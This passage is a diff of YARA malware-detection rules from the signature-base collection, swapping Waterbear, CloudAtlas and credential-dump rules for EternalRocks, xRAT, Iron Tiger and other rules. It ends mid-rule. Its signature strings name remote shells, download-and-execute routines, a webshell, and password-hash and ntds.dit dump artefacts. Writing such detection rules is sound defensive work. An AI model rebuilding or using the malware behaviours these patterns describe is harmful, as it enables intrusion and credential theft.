+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "78387651dd9608fcdf6bfb9df8b84db4"
+		hash = "78636f7bbd52ea80d79b4e2a7882403092bbb02d"
+		logic_hash = "c4c562124427fd394b56e48f16f2d262c8a717fc750b955b2b2a35acb478d5e7"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "bd06f6117a0abf1442826179f6f5e1932047b4a6c14add9149e8288ab4a902c3"
-		hash1 = "5dba8ddf05cb204ef320a72a0c031e55285202570d7883f2ff65135ec35b3dd0"
+		tags = ""
 
 	strings:
-		$s1 = "Update.dll" fullword ascii
-		$s2 = "ADVPACK32.DLL" fullword wide
-		$s3 = "\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\" ascii
-		$s4 = "\\drivers\\sftst.sys" ascii
-		$s5 = "\\\\.\\SFilter" fullword ascii
+		$import_names = { C7 45 D0 75 73 65 72 C7 45 D4 33 32 2E 64 66 C7 45 D8 6C 6C 88 5D DA C7 45 84 61 64 76 61 C7 45 88 70 69 33 32 C7 45 8C 2E 64 6C 6C 88 5D 90 C7 45 B8 77 69 6E 69 C7 45 BC 6E 65 74 2E C7 45 C0 64 6C 6C 00 C7 45 C4 77 73 32 5F C7 45 C8 33 32 2E 64 66 C7 45 CC 6C 6C 88 5D CE C7 45 94 73 68 65 6C C7 45 98 6C 33 32 2E C7 45 9C 64 6C 6C 00 C7 45 E8 70 73 61 70 C7 45 EC 69 2E 64 6C 66 C7 45 F0 6C 00 C7 85 74 FF FF FF 6E 65 74 61 C7 85 78 FF FF FF 70 69 33 32 C7 85 7C FF FF FF 2E 64 6C 6C 88 5D 80 C7 85 64 FF FF FF 6F 6C 65 61 C7 85 68 FF FF FF 75 74 33 32 C7 85 6C FF FF FF 2E 64 6C 6C 88 9D 70 FF FF FF C7 45 DC 6F 6C 65 33 C7 45 E0 32 2E 64 6C 66 C7 45 E4 6C 00 C7 45 A0 76 65 72 73 C7 45 A4 69 6F 6E 2E C7 45 A8 64 6C 6C 00 C7 85 54 FF FF FF 69 6D 61 67 C7 85 58 FF FF FF 65 68 6C 70 C7 85 5C FF FF FF 2E 64 6C 6C 88 9D 60 FF FF FF C7 45 AC 61 70 70 68 C7 45 B0 65 6C 70 2E C7 45 B4 64 6C 6C 00 C7 45 F4 2E 64 6C 6C 88 5D F8 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <40KB and all of them )
+		any of them
 }
-rule SIGNATURE_BASE_Waterbear_9_Jun17 : FILE
+rule SIGNATURE_BASE_Eternalrocks_Taskhost : FILE
 {
 	meta:
-		description = "Detects malware from Operation Waterbear"
+		description = "Detects EternalRocks Malware - file taskhost.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "727cdb55-ede5-5520-9aa9-5a265b5aeba1"
-		date = "2017-06-23"
+		id = "8926cdf8-6a3c-5237-80f5-bda9efb39a32"
+		date = "2017-05-18"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/L9g9eR"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_waterbear.yar#L147-L166"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b54f3032b31c5a48e879e49bd97adf3222db46a7789afc4ea2f5eca32536a2e4"
+		reference = "https://twitter.com/stamparm/status/864865144748298242"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_eternalrocks.yar#L12-L30"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "45e5295f34280078c586c4cb643dba65aed63beffb1d6ded05de03403caf273a"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "fc74d2434d48b316c9368d3f90fea19d76a20c09847421d1469268a32f59664c"
+		hash1 = "cf8533849ee5e82023ad7adbdbd6543cb6db596c53048b1a0c00b3643a72db30"
 
 	strings:
-		$s1 = "ADVPACK32.DLL" fullword wide
-		$s2 = "ADVPACK32" fullword wide
-		$a1 = "U2_Dll.dll" fullword ascii
-		$b1 = "ProUpdate" fullword ascii
-		$b2 = "Update.dll" fullword ascii
+		$x1 = "EternalRocks.exe" fullword wide
+		$s1 = "sTargetIP" fullword ascii
+		$s2 = "SERVER_2008R2_SP0" fullword ascii
+		$s3 = "20D5CCEE9C91A1E61F72F46FA117B93FB006DB51" fullword ascii
+		$s4 = "9EBF75119B8FC7733F77B06378F9E735D34664F6" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <30KB and all of ($s*) and ($a1 or all of ($b*))
+		( uint16(0)==0x5a4d and filesize <15000KB and 1 of ($x*) or 3 of them )
 }
-rule SIGNATURE_BASE_Waterbear_10_Jun17 : FILE
+rule SIGNATURE_BASE_Eternalrocks_Svchost : FILE
 {
 	meta:
-		description = "Detects malware from Operation Waterbear"
+		description = "Detects EternalRocks Malware - file taskhost.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1219c3e6-1001-5075-b7fc-e0d8a7de6a65"
-		date = "2017-06-23"
+		id = "c38d3faa-06a2-5f57-a917-91974941352f"
+		date = "2017-05-18"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/L9g9eR"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_waterbear.yar#L168-L182"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1e71a317f782b73c876f0cb5fee25b69d8f1c45c20c58e4f204b7aeb7484cf14"
+		reference = "https://twitter.com/stamparm/status/864865144748298242"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_eternalrocks.yar#L32-L47"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "989df6d582949adbc4e0e2063c99d9ad83c367cedae1030dc23aade091216602"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "3b1e67e0e86d912d7bc6dee5b0f801260350e8ce831c93c3e9cfe5a39e766f41"
+		hash1 = "589af04a85dc66ec6b94123142a17cf194decd61f5d79e76183db026010e0d31"
 
 	strings:
-		$s1 = "ADVPACK32.DLL" fullword wide
-		$s5 = "ADVPACK32" fullword wide
+		$s1 = "WczTkaJphruMyBOQmGuNRtSNTLEs" fullword ascii
+		$s2 = "svchost.taskhost.exe" fullword ascii
+		$s3 = "ConfuserEx v" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <30KB and all of them )
+		( uint16(0)==0x5a4d and filesize <500KB and 2 of them )
 }
-rule SIGNATURE_BASE_Waterbear_11_Jun17 : FILE
+rule SIGNATURE_BASE_Xrat_1 : FILE
 {
 	meta:
-		description = "Detects malware from Operation Waterbear"
+		description = "Detects Patchwork malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d7eb7561-c84e-5149-920c-35ad225ca8a9"
-		date = "2017-06-23"
+		id = "170c926a-2020-5269-85b8-6fe9ad28ef76"
+		date = "2017-12-11"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/L9g9eR"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_waterbear.yar#L185-L201"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ea61c348847614ad2872bfd385f433c5a30c7f6b5f5a2f135a7d83c553157ccd"
+		reference = "https://goo.gl/Pg3P4W"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_xrat.yar#L12-L41"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "032c5af4f34959783102977543d2caf6199b8d1880a64797882f591e36c64d69"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b046b2e2569636c2fc3683a0da8cfad25ff47bc304145be0f282a969c7397ae8"
+		hash1 = "92be93ec4cbe76182404af0b180871fbbfa3c7b34e4df6745dbcde480b8b4b3b"
+		hash2 = "f1a45adcf907e660ec848c6086e28c9863b7b70d0d38417dd05a4261973c955a"
 
 	strings:
-		$s1 = "/Pages/%u.asp" fullword wide
-		$s2 = "NVIDIA Corporation." fullword wide
-		$s3 = "tqxbLc|fP_{eOY{eOX{eO" fullword ascii
-		$s4 = "Copyright (C) 2005" fullword wide
+		$x1 = "\" -CHECK & PING -n 2 127.0.0.1 & EXIT" fullword wide
+		$x2 = "xClient.Core.Elevation" fullword ascii
+		$x3 = ">> Welcome to MAX-Shell :Session created" fullword wide
+		$x4 = "xClient.Properties.Resources.resources" fullword ascii
+		$x5 = "<description>My UAC Compatible application</description>" fullword ascii
+		$s1 = "ping -n 20 localhost > nul" fullword wide
+		$s2 = "DownloadAndExecute" fullword ascii
+		$s3 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36" fullword wide
+		$s4 = "Client.exe" fullword ascii
+		$s5 = "Microsoft -Defender" fullword wide
+		$s6 = "Microsoft- Defender" fullword wide
+		$s7 = "set_RunHidden" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and all of them )
+		uint16(0)==0x5a4d and filesize <1000KB and (1 of ($x*) or 3 of them )
 }
-rule SIGNATURE_BASE_Waterbear_12_Jun17 : FILE
+rule SIGNATURE_BASE_SUSP_BAT2EXE_Bdargo_Converted_BAT : FILE
 {
 	meta:
-		description = "Detects malware from Operation Waterbear"
+		description = "Detects binaries created with BDARGO Advanced BAT to EXE converter"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cc0a071c-c409-57a2-80c5-dd93ca7db339"
-		date = "2017-06-23"
-		modified = "2023-12-05"
-		reference = "https://goo.gl/L9g9eR"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_waterbear.yar#L203-L217"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "343e6f36190372cd5599a84834edc3935d27a1e01aeab53c5765598b5b4071fe"
-		score = 75
+		id = "c9da4184-1530-5525-bdba-2dcc8a221bb1"
+		date = "2018-07-28"
+		modified = "2022-06-23"
+		reference = "https://www.majorgeeks.com/files/details/advanced_bat_to_exe_converter.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_bat2exe.yar#L2-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "978aa25f1abd0cbd36e55da2b1ed4478a3a5b8b814988669c70e219cc2dd1afd"
+		score = 45
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "15d9db2c90f56cd02be38e7088db8ec00fc603508ec888b4b85d60d970966585"
+		hash1 = "d428d79f58425d831c2ee0a73f04749715e8c4dd30ccd81d92fe17485e6dfcda"
+		hash1 = "a547a02eb4fcb8f446da9b50838503de0d46f9bb2fd197c9ff63021243ea6d88"
 
 	strings:
-		$s1 = "O_PROXY" fullword ascii
-		$s2 = "XMODIFY" fullword ascii
+		$s1 = "Error #bdembed1 -- Quiting" fullword ascii
+		$s2 = "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s" fullword ascii
+		$s3 = "\\a.txt" ascii
+		$s4 = "command.com" fullword ascii
+		$s6 = "DFDHERGDCV" fullword ascii
+		$s7 = "DFDHERGGZV" fullword ascii
+		$s8 = "%s%s%s%s%s%s%s%s" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
+		uint16(0)==0x5a4d and filesize <300KB and 5 of them
 }
-rule SIGNATURE_BASE_Waterbear_13_Jun17 : FILE
+rule SIGNATURE_BASE_APT_LNX_Academic_Camp_May20_Eraser_1 : FILE
 {
 	meta:
-		description = "Detects malware from Operation Waterbear"
+		description = "Detects malware used in attack on academic data centers"
 		author = "Florian Roth (Nextron Systems)"
-		id = "425aaed4-879e-5caf-808b-14de98f628e8"
-		date = "2017-06-23"
+		id = "36d17887-9844-5fa4-8a0d-89cc41b2d876"
+		date = "2020-05-16"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/L9g9eR"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_waterbear.yar#L219-L243"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b34c3d643309b8bbaa122a753e7f58dd9340cfa33962dbab1454c8080afd1664"
+		reference = "https://csirt.egi.eu/academic-data-centers-abused-for-crypto-currency-mining/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_academic_data_centers_camp_may20.yar#L1-L18"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9a0410e86fa8fb8b599e5b8a6508d6889eb6e26600f0ecf222561ac4a169676d"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "734e5972ab5ac1e9bc5470c666a55e0d2bd57c4e2ea2da11dc9bf56fb2ea6f23"
-		hash2 = "8bde3f71575aa0d5f5a095d9d0ea10eceadba38be888e10d3ca3776f7b361fe7"
-		hash3 = "c4b3b0a7378bfc3824d4178fd7fb29475c42ab874d69abdfb4898d0bcd4f8ce1"
+		hash1 = "552245645cc49087dfbc827d069fa678626b946f4b71cb35fa4a49becd971363"
 
 	strings:
-		$s1 = "%WINDIR%\\PCHealth\\HelpCtr\\Binaries\\pchsvc.dll" fullword ascii
-		$s2 = "brnew.exe" fullword ascii
-		$s3 = "ChangeServiceConfig failed (%d)" fullword ascii
-		$s4 = "Proxy %d:%s %d" fullword ascii
-		$s5 = "win9807.tmp" fullword ascii
-		$s7 = "Service stopped successfully" fullword ascii
-		$s8 = "current dns:%s" fullword ascii
-		$s9 = "%c%u|%u|%u|%u|%u|" fullword ascii
-		$s10 = "[-]send %d: " fullword ascii
+		$sc2 = { E6 FF FF 48 89 45 D0 8B 45 E0 BA 00 00 00 00 BE
+               00 00 00 00 89 C7 E8 }
+		$sc3 = { E6 FF FF 89 45 DC 8B 45 DC 83 C0 01 48 98 BE 01
+               00 00 00 48 89 C7 E8 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and 4 of them )
+		uint16(0)==0x457f and filesize <60KB and all of them
 }
-rule SIGNATURE_BASE_Waterbear_14_Jun17 : FILE
+rule SIGNATURE_BASE_APT_LNX_Academic_Camp_May20_Loader_1 : FILE
 {
 	meta:
-		description = "Detects malware from Operation Waterbear"
+		description = "Detects malware used in attack on academic data centers"
 		author = "Florian Roth (Nextron Systems)"
-		id = "515d9400-3e2e-5ee5-a7dd-b313125c6482"
-		date = "2017-06-23"
+		id = "cda65abd-d918-5ee6-8f4a-554d47532d76"
+		date = "2020-05-16"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/L9g9eR"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_waterbear.yar#L245-L261"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9ebe46590556e8eba2eef1c007549f6141c917bab97d46a0d58eca56257e24e2"
+		reference = "https://csirt.egi.eu/academic-data-centers-abused-for-crypto-currency-mining/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_academic_data_centers_camp_may20.yar#L20-L35"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a73883f9fdf3d53694d9f9efec5f8f15994c5fd80c5f2a87b1741db6b954a023"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "00a1068645dbe982a9aa95e7b8202a588989cd37de2fa1b344abbc0102c27d05"
-		hash2 = "53330a80b3c4f74f3f10a8621dbef4cd2427723e8b98c5b7aed58229d0c292ba"
-		hash3 = "bdcb23a82ac4eb1bc9254d77d92b6f294d45501aaea678a3d21c8b188e31e68b"
+		hash1 = "0efdd382872f0ff0866e5f68f0c66c01fcf4f9836a78ddaa5bbb349f20353897"
 
 	strings:
-		$s1 = "my.com/msg/util/sgthash" fullword ascii
-		$s2 = "C:\\recycled" fullword ascii
+		$sc1 = { C6 45 F1 00 C6 45 F2 0A C6 45 F3 0A C6 45 F4 4A
+               C6 45 F5 04 C6 45 F6 06 C6 45 F7 1B C6 45 F8 01 }
+		$sc2 = { 01 48 39 EB 75 EA 48 83 C4 08 5B 5D 41 5C 41 5D }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <8000KB and all of them )
+		uint16(0)==0x457f and filesize <10KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_Maldoc_Cloudatlas_Oct20_1 : FILE
+rule SIGNATURE_BASE_Apt_Backspace : FILE
 {
 	meta:
-		description = "Detects unknown maldoc dropper noticed in October 2020"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e7caf2b2-caf2-5984-a792-8224f2641bda"
-		date = "2020-10-13"
+		description = "Detects APT backspace"
+		author = "Bit Byte Bitten"
+		id = "3da3337d-b6d3-5661-b43e-535e06817303"
+		date = "2015-05-14"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/jfslowik/status/1316050637092651009"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cloudatlas.yar#L2-L16"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "772bdd8ec89edf2054e675e9ecb321a7bfe0307a7086a4e5b65f8d8b8cf80ecc"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_backspace.yar#L6-L19"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6cbfeb7526de65eb2e3c848acac05da1e885636d17c1c45c62ad37e44cd84f99"
+		logic_hash = "6fa86ada5c965bd9c199c2a1cf9b691499a3d423da7db50c8987b6725c0c0f29"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "7ba76b2311736dbcd4f2817c40dae78f223366f2404571cd16d6676c7a640d70"
 
 	strings:
-		$x1 = "https://msofficeupdate.org" wide
+		$s1 = "!! Use Splice Socket !!"
+		$s2 = "User-Agent: SJZJ (compatible; MSIE 6.0; Win32)"
+		$s3 = "g_nAV=%d,hWnd:0x%X,className:%s,Title:%s,(%d,%d,%d,%d),BOOL=%d"
 
 	condition:
-		uint16(0)==0xcfd0 and filesize <300KB and 1 of ($x*)
+		uint16(0)==0x5a4d and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_URL_Cloudatlas_Oct20_2 : FILE
+rule SIGNATURE_BASE_Irontiger_Aspxspy : HIGHVOL
 {
 	meta:
-		description = "Detects unknown maldoc dropper noticed in October 2020 - file morgue6visible5bunny6culvert7ambo5nun1illuminate4.url"
-		author = "Florian Roth (Nextron Systems)"
-		id = "91f6362f-1793-58a3-a750-04ec9812b9df"
-		date = "2020-10-13"
+		description = "ASPXSpy detection. It might be used by other fraudsters"
+		author = "Cyber Safety Solutions, Trend Micro"
+		id = "3010fcb9-0dbf-59ef-90ce-01d922a95f2d"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/jfslowik/status/1316050637092651009"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cloudatlas.yar#L18-L37"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8bb60c262a34babbe8839f5d39d1c972eeb41ea77eaae02cc877d908c7033f13"
+		reference = "http://goo.gl/T5fSJC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_irontiger_trendmicro.yar#L1-L13"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6b5830d3fd6aa346b27788cd4abd581b4724fecc4e880b14dd7b1dd27ef1eea3"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "a6a58b614a9f5ffa1d90b5d42e15521f52e2295f02c1c0e5cd9cbfe933303bee"
+		tags = "HIGHVOL"
 
 	strings:
-		$hc1 = { 5B 49 6E 74 65 72 6E 65 74 53 68 6F 72 74 63 75
-               74 5D 0D 0A 55 52 4C 3D 68 74 74 70 73 3A 2F 2F
-               6D 73 6F 66 66 69 63 65 75 70 64 61 74 65 2E 6F
-               72 67 }
+		$str2 = "IIS Spy" wide ascii
+		$str3 = "protected void DGCoW(object sender,EventArgs e)" wide ascii
 
 	condition:
-		uint16(0)==0x495b and filesize <200 and $hc1 at 0
+		any of ($str*)
 }
-rule SIGNATURE_BASE_NTLM_Dump_Output
+rule SIGNATURE_BASE_Irontiger_Changeport_Toolkit_Driversinstall : FILE
 {
 	meta:
-		description = "NTML Hash Dump output file - John/LC format"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d17ee473-317b-57d4-8ea8-7c89e8f2b2ed"
-		date = "2015-10-01"
+		description = "Iron Tiger Malware - Changeport Toolkit driverinstall"
+		author = "Cyber Safety Solutions, Trend Micro"
+		id = "fde2728b-9a23-5f35-9727-0834a7b403da"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/generic_dumps.yar#L17-L30"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "154de926d27d38b38a4ed2c14b9122213fd1deb4115ef3bb77366db0818c7572"
+		reference = "http://goo.gl/T5fSJC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_irontiger_trendmicro.yar#L15-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2ae32596da4f98a0ec2556c2cd87fc7a0f85c37ce96c7163664f2e8cc3ec498d"
 		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "500:AAD3B435B51404EEAAD3B435B51404EE:" ascii
-		$s1 = "500:aad3b435b51404eeaad3b435b51404ee:" ascii
+		$str1 = "openmydoor" wide ascii
+		$str2 = "Install service error" wide ascii
+		$str3 = "start remove service" wide ascii
+		$str4 = "NdisVersion" wide ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and (2 of ($str*))
 }
-rule SIGNATURE_BASE_Gsecdump_Password_Dump_File : FILE
+rule SIGNATURE_BASE_Irontiger_Changeport_Toolkit_Changeportexe : FILE
 {
 	meta:
-		description = "Detects a gsecdump output file"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c7c8ab61-f728-5eb2-a5e3-b3dd84980870"
-		date = "2018-03-06"
+		description = "Iron Tiger Malware - Toolkit ChangePort"
+		author = "Cyber Safety Solutions, Trend Micro"
+		id = "2ba74413-5f72-560a-8567-1c4bf3357097"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://t.co/OLIj1yVJ4m"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/generic_dumps.yar#L32-L45"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "483ad5217cbc065bd2f791c473b9a2455fddc4e0123268a8d37c64d92dd78c43"
-		score = 65
+		reference = "http://goo.gl/T5fSJC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_irontiger_trendmicro.yar#L31-L46"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b5a5a1cff372d97bfa281d297b6230279cd1526c5df636efe4dec3aa3d923edf"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "Administrator(current):500:" ascii
+		$str1 = "Unable to alloc the adapter!" wide ascii
+		$str2 = "Wait for master fuck" wide ascii
+		$str3 = "xx.exe <HOST> <PORT>" wide ascii
+		$str4 = "chkroot2007" wide ascii
+		$str5 = "Door is bind on %s" wide ascii
 
 	condition:
-		uint32be(0)==0x41646d69 and filesize <3000 and $x1 at 0
+		uint16(0)==0x5a4d and (2 of ($str*))
 }
-rule SIGNATURE_BASE_SUSP_ZIP_Ntdsdit : T1003_003 FILE
+rule SIGNATURE_BASE_Irontiger_Dllshellexc2010 : FILE
 {
 	meta:
-		description = "Detects ntds.dit files in ZIP archives that could be a left over of administrative activity or traces of data exfiltration"
-		author = "Florian Roth (Nextron Systems)"
-		id = "131ed73d-bb34-5ff6-b145-f95e4469d7f9"
-		date = "2020-08-10"
+		description = "dllshellexc2010 Exchange backdoor + remote shell"
+		author = "Cyber Safety Solutions, Trend Micro"
+		id = "960e8e5c-65a5-5dd2-90fa-1f7d31ee8cb5"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/generic_dumps.yar#L47-L60"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "371e30f50d96c884bd55ffc10d049d0ada881304746564a99dec0e8efad87602"
-		score = 50
+		reference = "http://goo.gl/T5fSJC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_irontiger_trendmicro.yar#L48-L63"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b75477f01627ac05013c5e4ccb1d58a6bb25bfbe83ad0cec392140d44637a028"
+		score = 75
 		quality = 85
-		tags = "T1003_003, FILE"
+		tags = "FILE"
 
 	strings:
-		$s1 = "ntds.dit" ascii
+		$str1 = "Microsoft.Exchange.Clients.Auth.dll" ascii wide
+		$str2 = "Dllshellexc2010" wide ascii
+		$str3 = "Users\\ljw\\Documents" wide ascii
+		$bla1 = "please input path" wide ascii
+		$bla2 = "auth.owa" wide ascii
 
 	condition:
-		uint16(0)==0x4b50 and $s1 in (0..256)
+		( uint16(0)==0x5a4d) and (( any of ($str*)) or ( all of ($bla*)))
 }
-import "pe"
-
-rule SIGNATURE_BASE_Connectwise_Screenconnect_Authentication_Bypass_Feb_2024_Exploitation_IIS_Logs
+rule SIGNATURE_BASE_Irontiger_Dnstunnel : FILE
 {
 	meta:
-		description = "Detects an http request to '/SetupWizard.aspx/' with anything following it, which when found in IIS logs is a potential indicator of compromise of the 2024 ConnectWise ScreenConnect (versions prior to 23.9.8) vulnerability that allows an Authentication Bypass"
-		author = "Huntress DE&TH Team (modified by Florian Roth)"
-		id = "2886530b-e164-4c4b-b01e-950e3c40acb4"
-		date = "2024-02-20"
-		modified = "2024-02-21"
-		reference = "https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L3-L18"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
